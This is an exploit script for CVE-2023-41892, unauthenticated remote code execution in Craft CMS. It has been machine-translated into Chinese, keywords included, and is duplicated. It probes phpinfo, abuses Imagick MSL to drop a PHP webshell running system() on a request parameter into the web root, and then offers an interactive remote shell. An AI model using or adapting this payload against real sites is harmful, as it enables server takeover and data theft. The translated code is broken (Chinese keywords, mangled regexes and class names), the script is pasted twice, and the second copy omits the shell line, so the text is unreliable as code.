#!/usr/bin/env Python3
#编码: UTF-8
#利用标题: CRAFT CMS未经验证的远程代码执行(RCE)
#日期: 2023-12-26
#版本: 4.0.0 -RC1 -4.4.14
#供应商HomePage3360 https://craftcms.com/
#软件link: https://github.com/craftcms/cms/releases/tag/4.4.14
#测试在: Ubuntu 22.04.3 LTS
#测试在: CRAFT CMS 4.4.14
#利用作者: Olivier Lasne
#CVE : CVE-2023-41892
#参考:
#https://github.com/craftcms/cms/security/advisories/ghsa-4w8r-3xrw-v25g
#https://blog.calif.io/p/craftcms-rce
导入请求
导入系统,回复
if(len(sys.argv)2):
打印(f'\ 033 [1; 96musage: \ 033 [0M Python {sys.argv [0]} \ 033 [1; 96murl \ 033 [0m')
出口()
主机=sys.argv [1]
如果不是re.match('^https? //.*',主机):
print('\ 033 [1; 31m [ - ] \ 033 [0M URL应该从HTTP或HTTPS'开始)
出口()
print('\ 033 [1; 96m [+] \ 033 [0m执行phpinfo提取一些config Infos')
##执行phpinfo()并从网站提取配置信息
url=主机+'/index.php'
content_type={'content-type':'应用程序/x-www-form-urlencoded'}
data=r'Action=条件/rendertest [usercondition]=craft \ elements \ ectres \ users \ usererConditionConfig={'name':'test [usercondition]',' xyz': {'class':'\ guzzlehttp \\ psr7 \\ fnstream','__ construct()': [{'close':null}]
TRY:
r=requests.post(url,headers=content_type,data=data)
Except:
打印(f'\ 033 [1; 31m [ - ] \ 033 [0m无法连接到{host}')
出口()
#如果我们成功,我们应该有默认的phpinfo积分
如果不是R.Text:中的“ php group”
print(f'\ 033 [1; 31m [ - ] \ 033 [0m {host}无法探索。')
出口()
#提取tmp_dir和document_root的提取配置值
pattern1=r'trtd class='e'upload_tmp_dir \/tdtd class='v'(。?)\/tdtd class='v'(。?)
pattern2=r'trtd class='e'\ $ _ server \ [\'document_root \'\] \/tdtd class='v'([^]+)\/td \/tr'
tmp_dir=re.search(staters1,r.text,re.dotall).group(1)
document_root=re.search(pattern2,r.text,re.dotall).group(1)
如果在TMP_DIR:中“无值”
tmp_dir='/tmp'
打印(f'temporary Directory: {tmp_dir}')
打印(f'web服务器root: {document_root}')
##在tmp_dir中创建shell.php
数据={
'Action':'条件/渲染',
'configobject [class]':'craft \ elements \ ections \ ections \ elementcondition',
'config':'{'name':'configobject','as as': {'class':'imagick','__construct()':': {'files'3:
}
文件={
'image1':('pwn1.msl',''?xml版本='1.0'encoding='utf-8'?
图像
读取filename='caption
hp @system( @$ _ request ['cmd']);'/
编写文件名='info:documentroot/shell.php'//
/Image''.Replace('documentRoot',document_root),'text/plain')
}
print(f'\ 033 [1; 96m [+] \ 033 [0m创建shell.php in {tmp_dir}')
r=requests.post(url,data=data,files=files)#,proxies={'http':'http://127.0.0.0.1:8080'}#)##
#使用Imagick技巧移动Document_root中的Webshell
数据={
'Action':'条件/渲染',
'configobject [class]': r'craft \ elements \ presition \ eylementcondition',
'config':'{'name':'configobject','as': {'class':'imagick','__conStruct()':':
}
print(f'\ 033 [1; 96m [+] \ 033 [0m trick trick Imagination in {document_root}'中移动shell.php
r=requests.post(url,data=data)#,proxies={'http':'3http://127.0.0.0.1:8080'})
如果r.status_code!=502:
print('\ 033 [1; 31m [ - ] \ 033 [0m exploit失败')
出口()
print(f'\ n \ 033 [1; 95m [+] \ 033 [0m webshell已部署: {host}/\ 033 [1MHELL.PHP \ 033 [0m?cmd=whoami')
print(f'\ 033 [1; 95m [+] \ 033 [0m记住to \ \ 033 [1Mdelete shell.php \ 033 [0m in \ 033 [1M {document_root} \ 033 \ 033 [0m
打印('\ 033 [1; 92m [!] \ 033 [0m享受您的shell \ n')
url=主机+'/shell.php'
##伪外壳
而true:
命令=输入('\ 033 [1; 96m \ 033 [0m')
如果命令=='exit':
出口()
如果命令=='clear'或命令=='Cls':
打印('\ n' * 100)
print('\ 033 [H \ 033 [3J',end='')
继续
data={'cmd':命令}
r=requests.post(url,data=data)#,proxies={'http':'3http://127.0.0.0.1:8080'})
#退出如果我们有错误
如果r.status_code!=200:
打印(f'Error:状态代码{r.status_code} for {url}')
出口()
res_command=r.text
res_command=re.sub('^catchion:','',res_command)
res_command=re.sub('caption。*$','',res_command)
打印(res_command,end='')
#编码: UTF-8
#利用标题: CRAFT CMS未经验证的远程代码执行(RCE)
#日期: 2023-12-26
#版本: 4.0.0 -RC1 -4.4.14
#供应商HomePage3360 https://craftcms.com/
#软件link: https://github.com/craftcms/cms/releases/tag/4.4.14
#测试在: Ubuntu 22.04.3 LTS
#测试在: CRAFT CMS 4.4.14
#利用作者: Olivier Lasne
#CVE : CVE-2023-41892
#参考:
#https://github.com/craftcms/cms/security/advisories/ghsa-4w8r-3xrw-v25g
#https://blog.calif.io/p/craftcms-rce
导入请求
导入系统,回复
if(len(sys.argv)2):
打印(f'\ 033 [1; 96musage: \ 033 [0M Python {sys.argv [0]} \ 033 [1; 96murl \ 033 [0m')
出口()
主机=sys.argv [1]
如果不是re.match('^https? //.*',主机):
print('\ 033 [1; 31m [ - ] \ 033 [0M URL应该从HTTP或HTTPS'开始)
出口()
print('\ 033 [1; 96m [+] \ 033 [0m执行phpinfo提取一些config Infos')
##执行phpinfo()并从网站提取配置信息
url=主机+'/index.php'
content_type={'content-type':'应用程序/x-www-form-urlencoded'}
data=r'Action=条件/rendertest [usercondition]=craft \ elements \ ectres \ users \ usererConditionConfig={'name':'test [usercondition]',' xyz': {'class':'\ guzzlehttp \\ psr7 \\ fnstream','__ construct()': [{'close':null}]
TRY:
r=requests.post(url,headers=content_type,data=data)
Except:
打印(f'\ 033 [1; 31m [ - ] \ 033 [0m无法连接到{host}')
出口()
#如果我们成功,我们应该有默认的phpinfo积分
如果不是R.Text:中的“ php group”
print(f'\ 033 [1; 31m [ - ] \ 033 [0m {host}无法探索。')
出口()
#提取tmp_dir和document_root的提取配置值
pattern1=r'trtd class='e'upload_tmp_dir \/tdtd class='v'(。?)\/tdtd class='v'(。?)
pattern2=r'trtd class='e'\ $ _ server \ [\'document_root \'\] \/tdtd class='v'([^]+)\/td \/tr'
tmp_dir=re.search(staters1,r.text,re.dotall).group(1)
document_root=re.search(pattern2,r.text,re.dotall).group(1)
如果在TMP_DIR:中“无值”
tmp_dir='/tmp'
打印(f'temporary Directory: {tmp_dir}')
打印(f'web服务器root: {document_root}')
##在tmp_dir中创建shell.php
数据={
'Action':'条件/渲染',
'configobject [class]':'craft \ elements \ ections \ ections \ elementcondition',
'config':'{'name':'configobject','as as': {'class':'imagick','__construct()':': {'files'3:
}
文件={
'image1':('pwn1.msl',''?xml版本='1.0'encoding='utf-8'?
图像
读取filename='caption

编写文件名='info:documentroot/shell.php'//
/Image''.Replace('documentRoot',document_root),'text/plain')
}
print(f'\ 033 [1; 96m [+] \ 033 [0m创建shell.php in {tmp_dir}')
r=requests.post(url,data=data,files=files)#,proxies={'http':'http://127.0.0.0.1:8080'}#)##
#使用Imagick技巧移动Document_root中的Webshell
数据={
'Action':'条件/渲染',
'configobject [class]': r'craft \ elements \ presition \ eylementcondition',
'config':'{'name':'configobject','as': {'class':'imagick','__conStruct()':':
}
print(f'\ 033 [1; 96m [+] \ 033 [0m trick trick Imagination in {document_root}'中移动shell.php
r=requests.post(url,data=data)#,proxies={'http':'3http://127.0.0.0.1:8080'})
如果r.status_code!=502:
print('\ 033 [1; 31m [ - ] \ 033 [0m exploit失败')
出口()
print(f'\ n \ 033 [1; 95m [+] \ 033 [0m webshell已部署: {host}/\ 033 [1MHELL.PHP \ 033 [0m?cmd=whoami')
print(f'\ 033 [1; 95m [+] \ 033 [0m记住to \ \ 033 [1Mdelete shell.php \ 033 [0m in \ 033 [1M {document_root} \ 033 \ 033 [0m
打印('\ 033 [1; 92m [!] \ 033 [0m享受您的shell \ n')
url=主机+'/shell.php'
##伪外壳
而true:
命令=输入('\ 033 [1; 96m \ 033 [0m')
如果命令=='exit':
出口()
如果命令=='clear'或命令=='Cls':
打印('\ n' * 100)
print('\ 033 [H \ 033 [3J',end='')
继续
data={'cmd':命令}
r=requests.post(url,data=data)#,proxies={'http':'3http://127.0.0.0.1:8080'})
#退出如果我们有错误
如果r.status_code!=200:
打印(f'Error:状态代码{r.status_code} for {url}')
出口()
res_command=r.text
res_command=re.sub('^catchion:','',res_command)
res_command=re.sub('caption。*$','',res_command)
打印(res_command,end='')